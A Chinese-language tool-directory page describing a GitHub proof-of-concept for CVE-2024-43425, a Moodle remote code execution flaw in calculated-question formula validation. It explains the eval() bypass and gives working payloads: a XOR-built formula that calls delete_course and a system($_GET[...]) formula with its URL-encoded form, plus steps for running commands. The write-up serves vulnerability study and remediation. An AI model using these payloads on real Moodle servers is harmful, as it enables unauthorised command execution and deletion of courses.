Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2024-43425 — CVE-2024-43425(Moodle 通过计算题公式实现远程代码执行漏洞)的详细技术分析与概念验证利用,包括根本原因和复现步骤。 | Kitploit
工具/GitHubGitHub/tnot123/cve-2024-43425
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHubtnot123/cve-2024-43425

cve-2024-43425

CVE-2024-43425(Moodle 通过计算题公式实现远程代码执行漏洞)的详细技术分析与概念验证利用,包括根本原因和复现步骤。

查看仓库
211个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-43425

固件信息:

应用名称:Moodle
构建版本:moodle-4.4.1
受影响版本:4.4 至 4.4.1、4.3 至 4.3.5、4.2 至 4.2.8、4.1 至 4.1.11,以及之前不受支持的版本
下载链接:moodle-4.4.1

描述与影响

拥有在 Moodle 课程中创建或修改问题权限的攻击者,可以为计算题构造恶意输入,进而可能被滥用以在底层系统上执行任意命令。

根本原因

alt

函数 qtype_calculated_find_formula_errors 用于确保在 Moodle 中输入的公式的有效性,防止语法错误。

alt

变量会被替换为数字 1.0,公式会被转换为小写并删除空格。

alt

alt

主要验证逻辑通过遍历公式并识别最内层左侧的数学表达式来实现,该表达式可以通过缺少嵌套括号来区分。然后,这个表达式会被替换为 1.0。

alt

最后,当正则表达式不再返回任何额外匹配项时,如果公式仅包含安全的运算符或数字,则该公式被视为有效,原始公式才被传递给 eval。
结果验证是通过在过滤不完整的情况下将公式传递给 php eval() 函数来完成的。有两种方法可以绕过验证逻辑:

  1. 显式允许的数学函数列表可用于通过按位运算将任意函数名构建为字符串,当这些名称后跟括号时,可以作为可变函数被调用。唯一已确定的添加必需括号的方法是使用内置的变量替换,从而使攻击者能够在传递单个数字参数的同时调用在 Moodle 上下文中定义的任意函数。函数的输出会泄露给攻击者。

alt

替换诸如 {a} 之类的变量占位符时,其值会被包裹在 () 中,如果我们把 {a} 添加到上述对应于 'PRINTF' 的表达式中,结果将是 'PRINTF'(1),因此可以定义一个包含两部分的答案公式:a (function_name) 和 a {variable}。
2) 未定义的变量在传递给 eval() 函数之前不会被替换,因此它们作为公式的一部分不会受到影响。此外,对变量名的清理检查不如对所有其他公式部分实施的检查严格。这种滥用可以用于在使用 php object->{"member"} 语法时调用任意函数。

重现步骤

创建一个带有变量的计算题,例如 {a}

alt

保存问题,并将变量的取值范围精确设置为课程 ID,即 3。

alt

保存问题,然后将表达式重新编辑为:
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

alt

保存修改后的问题会导致错误,但问题仍会被保存。返回题库并预览该问题,DELETE_COURSE 函数将删除指定 ID 的课程,并绕过所有权限检查。

alt

alt

远程代码执行

创建一个计算题,将答案公式设置为:
(1)->{system($_GET[chr(97)])}

alt

表达式被修改为 1-0-system($_GET{chr(97)})

alt

拦截请求并将其修改回 (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

alt

出现错误:exception-system():Argument#1($command) cannotbe empty

alt

通过在 URL 中添加 &a=[arbitrary command] 来提供所需命令。指定系统命令的输出将被放入结果 HTTP 响应的开头。
A=id

alt

A=ls

alt

建议

修改清理函数 qtype_calculated_find_formula_errors,使 /question/type/calculated/questiontype.php 在计算题未被使用时始终返回 false。

下载工具